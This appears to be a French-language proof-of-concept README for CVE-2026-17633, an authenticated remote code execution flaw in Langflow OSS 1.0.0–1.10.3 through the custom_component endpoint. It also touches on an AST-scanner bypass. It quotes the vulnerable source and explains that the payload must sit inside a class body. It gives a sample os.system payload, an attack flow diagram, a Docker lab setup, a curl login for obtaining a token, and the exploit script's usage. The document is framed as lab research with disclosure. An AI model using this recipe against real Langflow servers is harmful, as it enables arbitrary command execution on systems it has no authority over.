
PoC pour CVE-2026-17633 — RCE authentifié dans IBM Langflow OSS 1.0.0–1.10.3 via le endpoint custom_component. Inclut la recherche sur le contournement du scanner AST de CVE-2026-17632.
À des fins éducatives uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Langflow est une plateforme open-source low-code permettant de construire des applications basées sur des LLM et des workflows d'agents IA. Elle fournit une interface visuelle glisser-déposer où les utilisateurs peuvent connecter des composants — modèles, retrievers, outils, mémoire, code Python personnalisé — en flux exécutables. Sa fonctionnalité Custom Component permet aux utilisateurs de définir le comportement d'un composant directement en Python, ce qui constitue la surface d'attaque exploitée dans cette recherche.
Le 5 août 2026, IBM a publié un bulletin de sécurité divulguant un lot de vulnérabilités affectant les versions de Langflow OSS 1.0.0 à 1.10.3. Le bulletin complet est disponible à l'adresse :
Cette recherche se concentre sur deux CVE de ce lot :
| CVE | CVSS | Résumé |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | RCE authentifiée via /api/v1/custom_component — code transmis directement à exec() sans analyse de sécurité |
| CVE-2026-17632 | 8.8 HIGH | Contournement du scanner de sécurité AST — du code Python conçu passe scan_code_security() avec is_safe: True tout en exécutant des commandes OS arbitraires |
Les deux CVE ont été découvertes indépendamment par analyse statique du code source de Langflow 1.10.3.
Cette recherche a été menée dans un environnement de laboratoire isolé contre une instance Langflow auto-hébergée. Toutes les découvertes sont divulguées de manière responsable. Ne l'utilisez pas contre des systèmes sans autorisation écrite explicite.
Le point de terminaison POST /api/v1/custom_component dans Langflow OSS 1.0.0–1.10.3 accepte du code Python arbitraire d'un utilisateur authentifié et l'exécute côté serveur via la fonction exec() de Python. Contrairement au chemin Agentic Assistant, ce point de terminaison n'appelle pas scan_code_security() ni aucun autre validateur de contenu basé sur l'AST avant l'exécution. Tout utilisateur authentifié peut obtenir une exécution de code à distance avec une seule requête HTTP.
CWE-94 — Contrôle inapproprié de la génération de code
/api/v1/custom_componentSource : langflow/api/v1/endpoints.py — ligne 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Lorsque LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (fréquent dans les déploiements de production), le code est transmis directement à build_custom_component_template() avec zéro inspection de contenu.
prepare_global_scope() et ast.ExprLa chaîne d'exécution mène à create_class() dans lfx/custom/validate.py, qui appelle prepare_global_scope() avant de compiler et d'exécuter la classe :
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Un appel de fonction nu au niveau du module (par exemple os.system(...)) est un nœud ast.Expr — il n'est pas capté par la vérification isinstance et est silencieusement ignoré. Cependant, le code placé à l'intérieur du corps de la classe fait partie du nœud ClassDef et est exécuté intégralement lorsque la classe est définie via exec() dans compile_class_code().
C'est l'idée clé : la charge utile doit être à l'intérieur du corps de la classe, pas au niveau du module.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Aucun LLM requis. Aucun contournement de scanner nécessaire. Une seule requête HTTP.
| Exigence | Valeur |
|---|---|
| OS hôte | Kali Linux (testé) |
| Docker | CE 5.x + plugin Compose v2 |
| Image Langflow | langflowai/langflow:1.10.3 |
| RAM | 4 Go minimum pour le conteneur |
Créez un répertoire pour le laboratoire et enregistrez ce qui suit sous le nom docker-compose.yml :
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Démarrez le laboratoire :
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Connectez-vous à http://127.0.0.1:7860 avec les identifiants superutilisateur définis ci-dessus. Le jeton d'accès est stocké dans le cookie du navigateur access_token_lf. Vous pouvez également le récupérer via l'API :
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Copiez la valeur access_token de la réponse.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]